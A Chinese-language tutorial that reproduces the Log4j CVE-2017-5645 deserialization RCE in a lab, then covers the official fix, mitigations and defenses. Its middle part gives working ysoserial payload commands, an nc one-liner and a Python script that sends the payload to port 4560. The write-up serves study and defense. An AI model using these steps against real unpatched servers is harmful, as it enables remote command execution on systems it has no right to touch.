
1. 项目概述与漏洞背景今天我们来深入聊聊一个在Java安全领域里颇具“历史地位”的漏洞Apache Log4j TCP Server反序列化命令执行漏洞也就是CVE-2017-5645。这个漏洞虽然不像后来的Log4ShellCVE-2021-44228那样引爆全球但它却是理解Java反序列化攻击链和Log4j早期安全模型的一个绝佳样本。很多刚接触安全研究的朋友都是从复现这类经典漏洞开始逐步建立起对漏洞原理、利用链构造和修复方案的立体认知。简单来说这个漏洞存在于Apache Log4j 2.x版本具体是2.0到2.8.1之间的一个可选组件——SocketServer中。Log4j为了方便分布式日志收集提供了一个TCP服务器功能允许客户端通过TCP端口发送序列化的LoggingEvent对象给服务器服务器反序列化后将其记录到日志。问题就出在这个反序列化过程上当攻击者能够连接到这个TCP服务器端口时他可以发送一个精心构造的、包含恶意代码的序列化对象。由于服务器在反序列化时没有进行任何白名单校验或安全的类加载限制它会直接执行对象中的代码从而导致远程命令执行。这意味着如果一个开启了Log4jSocketServer功能的系统暴露在了公网或不可信网络攻击者就获得了一个直接通往系统内部的“后门”。这个漏洞的影响范围主要是在那些使用了Log4j 2.x并显式配置启用了SocketServer功能的应用程序。它不像Log4Shell那样默认触发、影响面巨大但一旦满足条件其危害是直接的RCE远程代码执行攻击者可以完全控制服务器。理解这个漏洞不仅能让我们掌握一种攻击手法更重要的是能让我们深刻认识到任何来自网络的反序列化操作都必须被视为极度危险的操作必须施加严格的安全边界。接下来我们就从环境搭建、原理分析、漏洞复现到深度防御一步步拆解这个CVE。2. 漏洞原理深度解析要真正理解CVE-2017-5645我们不能只停留在“发个payload就能执行命令”的层面必须深入到Log4j的网络日志处理机制和Java反序列化的底层原理中去。2.1 Log4j SocketServer 的工作机制Log4j 2.x的org.apache.logging.log4j.core.net.server.TcpSocketServer类在老版本中可能是SocketServer提供了一个简单的日志服务器。它的设计初衷是为了轻量级的集中日志收集。客户端应用通过ObjectOutputStream将一个LogEvent对象实现了Serializable接口序列化成字节流通过TCP Socket发送到服务器端。服务器端有一个工作线程在循环调用ObjectInputStream.readObject()方法来读取这个对象。关键代码逻辑简化后大致如下// 服务器端简化逻辑 try (ServerSocket serverSocket new ServerSocket(port)) { while (running) { Socket socket serverSocket.accept(); // 为每个连接创建线程处理 new Thread(() - { try (ObjectInputStream ois new ObjectInputStream(socket.getInputStream())) { while (true) { // 危险操作直接反序列化来自网络的数据 LogEvent event (LogEvent) ois.readObject(); // 处理日志事件... } } catch (Exception e) { /* ... */ } }).start(); } }这里最致命的一点是ObjectInputStream在反序列化时会根据字节流中的类描述信息动态地加载类并重建对象。如果字节流描述的是一个LogEvent那就相安无事。但如果描述的是一个精心构造的、包含恶意静态代码块或readObject方法的类呢JVM会忠实地执行这些代码。2.2 反序列化攻击链的构造核心Java反序列化漏洞的利用核心在于找到一条从readObject()方法触发到危险操作如Runtime.exec()的调用链Gadget Chain。攻击者无法直接发送一个Runtime.getRuntime().exec(“calc”)的代码片段他必须发送一个序列化后的对象这个对象在反序列化的过程中通过一系列合法的Java API调用最终间接触发命令执行。对于Log4j的这个漏洞攻击者通常不会去构造一个恶意的LogEvent子类因为服务端可能做了类型检查而是利用Java环境中广泛存在的、可利用的第三方库。当时最著名的就是Apache Commons Collections库版本3.x, 4.x。这个库中一些类的readObject或相关方法如TransformedMap、InvokerTransformer可以被巧妙串联在反序列化时实现反射调用任意方法。攻击payload中实际上包含的是这些“工具类”对象它们像多米诺骨牌一样在反序列化过程中被依次触发最终倒向执行系统命令的那一张牌。注意这里存在一个常见的误解。很多人以为漏洞在Log4j自身的代码里。实际上漏洞的根源是不安全的反序列化操作而利用的“弹药”Gadget Chain往往来自应用程序的ClassPath中其他存在问题的库如Commons Collections。Log4j只是提供了触发这个“弹药”的“扳机”即readObject()调用。这也是为什么修复方案不仅仅是升级Log4j还要确保ClassPath中没有危险的库。2.3 漏洞触发条件与影响范围要成功利用CVE-2017-5645需要同时满足以下几个条件缺一不可Log4j版本使用Apache Log4j 2.x版本在2.0-beta9 到 2.8.1之间。2.8.2及之后版本修复了此问题。服务配置应用程序必须显式配置并启动了Log4j的SocketServer或TcpSocketServer。这通常不是默认配置需要在log4j2.xml或代码中主动开启。网络可达攻击者需要能够访问到该TCP服务器监听的端口默认是4560但可配置。ClassPath中存在可利用的Gadget库应用程序的依赖中包含如Apache Commons Collections (3.1, 3.2.1, 4.0)等存在已知反序列化链的库。因此它的实际影响面比默认开启的漏洞要小但危害性极高。在内部监控系统、微服务架构的日志汇聚节点等场景中仍有可能遇到。3. 漏洞复现环境搭建与配置纸上得来终觉浅绝知此事要躬行。安全研究离不开动手实践。下面我们搭建一个高度还原的漏洞环境进行复现。请务必在隔离的虚拟机或实验网络中进行所有操作切勿在生产环境或任何有真实数据的机器上尝试。3.1 环境准备与依赖梳理我们首先需要准备一个存在漏洞的Log4j版本以及一个包含利用链的库。为了简化我们可以直接使用一个集成了必要组件的测试应用或者自己构建。方案一使用现成的漏洞测试应用推荐许多安全研究社区提供了打包好的测试JAR包例如一个简单的使用了Log4j 2.8.1并开启了SocketServer的Spring Boot应用。你可以搜索“CVE-2017-5645 vulnerable app”来获取。这种方式最快能让你迅速聚焦于漏洞利用本身。方案二手动构建测试环境如果你想更深入地理解可以手动创建一个Maven项目。创建项目使用mvn archetype:generate创建一个简单的Java项目。添加漏洞依赖在pom.xml中引入存在漏洞的Log4j版本和Commons Collections库。dependencies !-- 存在漏洞的Log4j版本 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.8.1/version /dependency !-- 提供反序列化利用链的库 -- dependency groupIdorg.apache.commons/groupId artifactIdcommons-collections4/artifactId version4.0/version /dependency /dependencies编写漏洞服务器代码创建一个主类启动Log4j的TcpSocketServer。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.net.server.TcpSocketServer; import java.io.*; public class VulnerableLog4jServer { private static final Logger logger LogManager.getLogger(VulnerableLog4jServer.class); private static final int PORT 4560; public static void main(String[] args) throws IOException { // 创建一个简单的配置确保日志输出到控制台方便观察 System.setProperty(log4j.configurationFile, log4j2.xml); // 启动TCP Socket服务器 TcpSocketServerInputStream server TcpSocketServer.createJsonSocketServer(PORT); // 注意createJsonSocketServer在2.9已废弃2.8.1中createSocketServer可能需要更多参数 // 更直接的方式是使用旧版API或参考官方示例 logger.info(Vulnerable Log4j TCP Server started on port {}, PORT); // 保持主线程运行防止退出 System.in.read(); } }你需要查阅Log4j 2.8.1的API文档来正确初始化TcpSocketServer。一个更简单的方法是直接使用Log4j配置文件来启用Socket服务器。配置log4j2.xml在资源目录下创建log4j2.xml配置一个SocketAppender并启用服务器。?xml version1.0 encodingUTF-8? Configuration statusWARN Appenders Console nameConsole targetSYSTEM_OUT PatternLayout pattern%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n/ /Console !-- 关键配置定义Socket服务器 -- Socket nameSocket hostlocalhost port4560 protocolTCP SerializedLayout/ /Socket /Appenders Loggers Root levelinfo AppenderRef refConsole/ AppenderRef refSocket/ /Root /Loggers /Configuration实际上上述配置是客户端配置。真正启用服务器端监听可能需要通过编程方式或使用Log4j2的Server插件在早期版本中可能是一个独立的jar或工具。由于手动构建服务器端监听较为繁琐这也是为什么推荐使用现成测试应用的原因。实操心得在复现历史漏洞时经常会遇到依赖版本冲突、API过时等问题。一个高效的技巧是去GitHub上搜索针对该CVE的公开PoC概念验证代码仓库。这些仓库通常已经解决了环境搭建问题你可以直接clone下来运行把时间花在分析上而不是环境调试上。同时使用Docker来封装复现环境是另一个最佳实践它能保证环境纯净且易于分发。3.2 利用工具准备我们需要一个工具来生成恶意的序列化数据并发送到目标端口。最常用的是ysoserial工具。它是一个集合了多种Java反序列化利用链Gadget Chains的生成工具。获取ysoserial从GitHubhttps://github.com/frohoff/ysoserial下载最新发布的JAR文件或者克隆源码自行编译mvn clean package -DskipTests。了解基本用法ysoserial可以针对不同的库生成payload。对于使用CommonsCollections库的环境我们常用CommonsCollectionsX如CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4具体哪个能用取决于目标ClassPath中的库版本作为利用链。# 基本命令格式 java -jar ysoserial.jar [Gadget Chain] “[command]” payload.bin # 示例生成一个执行计算器命令的payload适用于Windows测试 java -jar ysoserial.jar CommonsCollections1 “calc.exe” payload.bin # 示例生成一个执行touch /tmp/pwned命令的payload适用于Linux测试 java -jar ysoserial.jar CommonsCollections1 “touch /tmp/pwned” payload.bin生成的payload.bin文件就是包含了恶意序列化对象的二进制数据。4. 漏洞复现操作过程详解环境准备好后我们开始攻击复现。整个过程可以清晰地分为三步启动靶机、生成武器、发起攻击。4.1 启动漏洞服务靶机假设我们已经有了一个打包好的漏洞测试应用vuln-log4j-server.jar。在实验机器上运行java -jar vuln-log4j-server.jar观察控制台输出确认服务已启动并监听在4560端口或你配置的端口。INFO: Vulnerable Log4j TCP Server started on port 4560使用netstat或lsof命令验证端口监听情况# Linux/Mac lsof -i:4560 # 或 netstat -tlnp | grep 4560 # Windows netstat -ano | findstr :45604.2 生成反序列化攻击Payload现在我们假设目标服务器的ClassPath中包含commons-collections4-4.0.jar。我们使用ysoserial生成对应的payload。确定利用链对于Commons Collections 4.0可以尝试CommonsCollections2或CommonsCollections4链。我们需要进行测试。这里以CommonsCollections2为例。生成Payload我们构造一个在目标服务器上创建文件的命令作为验证。# Linux/Mac 目标 java -jar ysoserial.jar CommonsCollections2 “touch /tmp/cve-2017-5645-success” payload.bin # Windows 目标 (如果靶机是Windows) java -jar ysoserial.jar CommonsCollections2 “calc.exe” payload.bin执行后当前目录下会生成一个payload.bin文件。4.3 发动攻击与结果验证最后一步我们将payload发送到漏洞服务器的监听端口。可以使用任何能发送原始TCP数据的工具如nc(netcat)、Python、甚至简单的Java客户端。方法一使用Netcat (nc)# 将payload文件的内容发送到目标主机的4560端口 nc 目标IP 4560 payload.bin如果目标在本地IP就是127.0.0.1。方法二使用Python脚本更灵活#!/usr/bin/env python3 import socket import sys def exploit(host, port, payload_file): with open(payload_file, rb) as f: payload f.read() s socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) print(f[] Connected to {host}:{port}) s.sendall(payload) print([] Payload sent.) except Exception as e: print(f[-] Connection failed: {e}) finally: s.close() if __name__ __main__: if len(sys.argv) ! 4: print(fUsage: {sys.argv[0]} target_ip target_port payload_file) sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])运行脚本python3 exploit.py 127.0.0.1 4560 payload.bin结果验证Linux/Mac立即检查目标服务器的/tmp目录如果出现了cve-2017-5645-success文件则证明漏洞复现成功命令已执行。ls -la /tmp/cve-2017-5645-successWindows如果命令是calc.exe成功的话计算器程序会被弹出。观察服务端日志同时漏洞服务器的控制台可能会抛出异常堆栈信息其中可能包含InvokerTransformer、TransformedMap等Commons Collections相关类的字样这是反序列化链被触发的间接证据。注意事项复现过程可能不会一次成功。常见的失败原因包括利用链不匹配Commons Collections版本不对、网络连接问题、防火墙拦截、或者目标服务在处理畸形数据时直接断开连接。需要根据服务端的错误日志和网络抓包来排查。这也是真实渗透测试中需要面对的情况。5. 漏洞修复方案与安全加固成功复现漏洞意味着我们理解了其危害。现在我们从开发者和运维人员两个角度来看看如何修复和防御此类问题。5.1 官方修复方案Apache Log4j官方在2.8.2版本中修复了此漏洞。修复的核心思路是为ObjectInputStream添加了严格的类过滤。修复代码分析 在TcpSocketServer或相关的反序列化处理类中修复版本不再使用原生的ObjectInputStream而是使用了自定义的ObjectInputStream子类并重写了resolveClass方法。这个方法会在反序列化时被调用用于根据类名解析类对象。修复后的代码类似这样private static class SafeObjectInputStream extends ObjectInputStream { SafeObjectInputStream(InputStream in) throws IOException { super(in); } Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); // 创建一个严格的白名单只允许反序列化日志相关的安全类 if (!className.startsWith(org.apache.logging.log4j.) !className.startsWith(java.lang.) !allowedClasses.contains(className)) { // allowedClasses是一个预定义的安全列表 throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); } }这样即使攻击者发送了包含commons-collections类的恶意payload在resolveClass阶段就会被拦截因为类名不在白名单内从而从根本上杜绝了反序列化攻击。修复建议立即升级将所有使用Log4j 2.x的项目升级到2.8.2或更高版本注意要升级到不受后续其他漏洞影响的版本如2.17.1以上。检查依赖使用Maven的mvn dependency:tree或Gradle的dependencies命令确保所有传递依赖也升级到了安全版本。5.2 临时缓解措施与安全配置如果因为兼容性等原因无法立即升级可以考虑以下临时缓解措施禁用SocketServer功能这是最直接有效的方法。检查你的log4j2.xml或代码配置移除所有与Socket、ServerSocket、TcpSocketServer相关的Appender或服务器启动代码。确保Log4j配置不监听任何网络端口。网络层隔离如果该功能业务上必须使用那么通过防火墙如iptables, AWS Security Group严格限制对Log4j TCP端口默认4560的访问只允许可信的日志收集服务器如Logstash, Flume的IP地址连接。移除危险的依赖库从应用程序的ClassPath中移除或升级存在已知反序列化Gadget的库如Apache Commons Collections 3.x/4.x的老版本。可以升级到已修复的版本如Commons Collections 4.1或者使用其他安全的替代库。但这种方法治标不治本因为可能还有其他未知的Gadget库。5.3 针对反序列化漏洞的通用防御策略CVE-2017-5645是反序列化漏洞的一个典型案例。我们可以从中提炼出更通用的防御原则应用于整个开发体系原则一避免反序列化不可信数据这是铁律。任何来自网络、文件、数据库、用户输入的数据在反序列化前都必须视为不可信。如果能用JSON、XML、Protobuf等安全的数据交换格式替代Java原生序列化就尽量避免使用ObjectInputStream。原则二使用白名单校验如果必须使用Java反序列化必须像Log4j修复方案那样实现自定义的ObjectInputStream并重写resolveClass方法只允许反序列化明确已知的安全类。白名单的范围要尽可能小。原则三升级和监控依赖持续关注项目中第三方库的安全公告及时升级到安全版本。可以使用OWASP Dependency-Check、Snyk等软件成分分析SCA工具集成到CI/CD流程中自动发现和预警存在已知漏洞的依赖。原则四运行在最小权限下运行Java应用的账户应遵循最小权限原则避免使用root或Administrator权限。这样即使被攻破攻击者能造成的破坏也有限。原则五使用安全工具进行防护可以考虑使用Java安全管理器Security Manager或现代运行时应用自我保护RASP工具对敏感操作如Runtime.exec、ProcessBuilder.start、反射调用等进行监控和拦截。6. 常见问题排查与深度思考在复现和研究这个漏洞的过程中你可能会遇到各种问题。下面我整理了一些常见的情况和排查思路这往往比一帆风顺的成功复现更能积累经验。6.1 复现失败问题排查表问题现象可能原因排查步骤与解决方案连接被拒绝1. 漏洞服务未成功启动。2. 防火墙/安全组拦截。3. 端口号错误。1. 检查服务进程是否存在查看启动日志是否有报错。2. 在服务器本地使用telnet 127.0.0.1 4560测试。3. 检查防火墙规则iptables -L,firewall-cmd或Windows防火墙。4. 确认netstat或lsof显示端口在监听。连接成功但无反应1. Payload利用链不匹配。2. 服务端处理异常但未崩溃。3. 命令执行了但无回显。1.最重要检查服务端ClassPath中的Commons Collections版本尝试ysoserial中的其他链CC1, CC3, CC4, CC6等。2. 查看服务端应用日志是否有反序列化异常如ClassNotFoundException,InvalidClassException。3. 使用一个更明显的命令测试如Linux下ping一个可控地址或写入一个特定文件。服务端崩溃或连接立即断开1. Payload导致服务端JVM抛出致命错误。2. 服务端代码有异常处理直接关闭连接。1. 分析服务端崩溃的hs_err_pid日志或标准错误输出。2. 尝试使用更“温和”的利用链或者使用调试器如IDEA Remote Debug附加到服务端进程在readObject处打断点单步跟踪。命令执行成功但无效果1. 命令路径错误。2. 执行权限不足。3. 命令在后台执行输出被丢弃。1. 使用绝对路径执行命令如/usr/bin/touch。2. 尝试执行whoami或id命令查看权限。3. 将命令输出重定向到文件如touch /tmp/test 21。6.2 从CVE-2017-5645看安全开发这个漏洞给我们上了生动的一课功能安全不等于协议安全。Log4j的SocketServer功能在逻辑上是正确的它完美地实现了接收网络日志对象并记录的功能。但从安全视角看它无条件地信任了网络对端执行了最危险的反序列化操作。在设计和评审涉及外部数据交互的功能时我们必须建立“零信任”的思维输入验证所有输入都是有害的直到被证明安全。对于反序列化证明安全的方式就是严格的白名单。最小化攻击面非必需的功能不开启。像SocketServer这种高风险组件默认应关闭并提供明确的安全警告。依赖管理你的应用安全不仅取决于你的代码还取决于你引入的成千上万个第三方库。需要一个持续、主动的依赖漏洞管理流程。6.3 漏洞研究的延伸学习成功复现CVE-2017-5645是一个很好的起点你可以沿着以下几个方向深入分析ysoserial源码看看CommonsCollections2这条利用链具体是如何构造的理解Transformer、ChainedTransformer、LazyMap、AnnotationInvocationHandler等类是如何被串联起来最终执行命令的。这会极大提升你对Java反射和动态代理的理解。探索其他Gadget链尝试复现针对其他库的漏洞如Fastjson、Jackson、XStream的反序列化漏洞。你会发现它们的原理相通但利用链的构造各有巧妙。学习高级利用技术在不出网无回显的情况下如何通过DNS查询、HTTP请求、延迟等方式判断漏洞是否存在并利用这涉及到无回显漏洞的探测和利用技巧。掌握代码审计技巧尝试在开源项目中搜索ObjectInputStream.readObject()的调用点评估其安全性。这是发现“下一个”CVE的关键能力。漏洞复现不是目的而是手段。通过动手实践这个经典的Log4j反序列化漏洞我们真正理解了“不安全的反序列化”这个OWASP Top 10常客背后的威胁模型。修复方案中的白名单思想是防御此类漏洞的银弹。作为开发者在编写代码时多一份警惕作为运维者在配置服务时多一份审视作为安全研究者在分析问题时多一层追根溯源。这个漏洞虽然已过多年但它所揭示的安全原则至今依然在每个Java应用中回响。